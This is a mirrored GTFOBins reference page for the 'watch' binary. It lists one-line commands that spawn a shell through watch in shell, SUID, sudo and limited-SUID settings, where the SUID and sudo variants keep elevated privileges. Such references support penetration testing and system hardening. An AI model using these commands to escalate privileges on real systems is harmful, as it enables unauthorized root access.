This website requires JavaScript.
Explore
Help
Register
Sign In
mirror
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced
2025-12-28 03:01:42 +01:00
Code
Issues
08dfd05aee
GTFOBins.github.io
/
_gtfobins
/
watch.md
OreoByte
a724262b74
Fix watch SUID
...
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2022-07-01 20:39:32 +02:00
368 B
Raw
Blame
History
functions
shell
suid
sudo
limited-suid
code
watch -x sh -c 'reset; exec sh 1>&0 2>&0'
description
code
This keeps the SUID privileges only if the `-x` option is present.
./watch -x sh -p -c 'reset; exec sh -p 1>&0 2>&0'
code
sudo watch -x sh -c 'reset; exec sh 1>&0 2>&0'
code
./watch 'reset; exec sh 1>&0 2>&0'